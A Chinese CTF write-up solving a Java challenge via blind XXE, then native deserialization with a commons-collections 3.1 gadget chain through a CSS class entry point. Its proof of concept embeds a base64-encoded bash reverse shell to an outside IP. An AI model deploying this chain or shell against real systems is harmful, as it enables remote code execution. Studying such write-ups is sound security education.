baby gadget v2.0 and revenge：

登录看到是 xml 数据，那么直接 xxe 读文件，提示 hint.txt，那么读它，有 waf，所以直接盲 xxe 读：

```
root@safe-fan-2:~# nc -lvp 23456
Listening on [0.0.0.0] (family 0, port 23456)
Connection from 172.17.0.3 50630 received!
GET /58f9f32d633491243ee01cbe86f69be9.zip HTTP/1.1
User-Agent: Java/1.8.0_191
```

可以得到一个 zip 文件地址，以及相应的 jdk 版本，所以拿到该 zip：
里面有个 source.txt，这里给了一些解题的信息，看到给了依赖：commons-collections3.1，所以肯定要利用该 jar 包，代码换成 asm 代码了，看起来也很容易，简单分析一下：

```
public submitUrl(Ljava/lang/String;)V throws java/io/IOException java/lang/ClassNotFoundException
    // parameter  request
  @Lorg/springframework/web/bind/annotation/ResponseBody;()
  @Lorg/springframework/web/bind/annotation/PostMapping;(value={"/bf2dcf6664b16e0efe471b2eac2b54b2"})
```

确定一个方法 submitUrl，包含一个 String 入参，需要 base64：
包含一个接口：bf2dcf6664b16e0efe471b2eac2b54b2
接下来是用 SafeInputStream 封装 ByteInputStream 然后反序列化，所以可以确定是个 java 原生反序列化题目，这里 ban 了一些常见的入口，因此需要重新找一个入口点，这里答案是不唯一的，2.0 和 1.0 的区别也就是多了一个 javax 的限制，可以找 set、map 等常见入口类的子类，也可以找存在成员变量为引用类型的支持反序列化的类，比如这里就以 CSS class 为例，其反序列化可以到 Object.hashCode()，poc 如下：

```
    private void writeObject(java.io.ObjectOutputStream s)
            throws IOException
    {
        final Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),//拿到 getruntime 方法
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new  Object[]{null,  new  Object[0]}),// 拿 到
runtime 类
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new              String[]{"bash              -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDQuMjI0LjE0Ni4xNTkvMjM0NTkgMD4mMQ==}|{base64,-d}|{bash,-i}"})//rce
        };
```

```
        ChainedTransformer chain = new ChainedTransformer(trans);

        HashMap innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "trlple2333");
        innerMap.clear();

        s.defaultWriteObject();

        // Determine what values in valueConvertor need to be written
out.
        valueConvertor.put(new HashMap<>(),new HashMap<>());
        valueConvertor.put(new HashMap<>(),new HashMap<>());

        Enumeration keys = valueConvertor.keys();
        s.writeInt(valueConvertor.size());
        if (keys != null) {
            while (keys.hasMoreElements()) {
                Object key = keys.nextElement();
                Object value = valueConvertor.get(key);
                if (!(key instanceof Serializable) &&
                        (key                                          =
StyleContext.getStaticAttributeKey(key)) == null) {
                    // Should we throw an exception here?
                    key = null;
                    value = null;
                }
                else if (!(value instanceof Serializable) &&
                        (value                                        =
StyleContext.getStaticAttributeKey(value)) == null){
                    // Should we throw an exception here?
                    key = null;
                    value = null;
                }
                s.writeObject(entry);
               s.writeObject(entry);
            }
        }
    }
```

这道题在写的时候没有@Override resolveProxyClass 这个方法，所以两个实际都可以 JRMP，找入口不像找反序列化利用链的中间链接点，还是要容易一些，没做出来的可以尝试自己找找入口，还是有不少的，看了选手的 wp，也有不少队伍是自己找到的。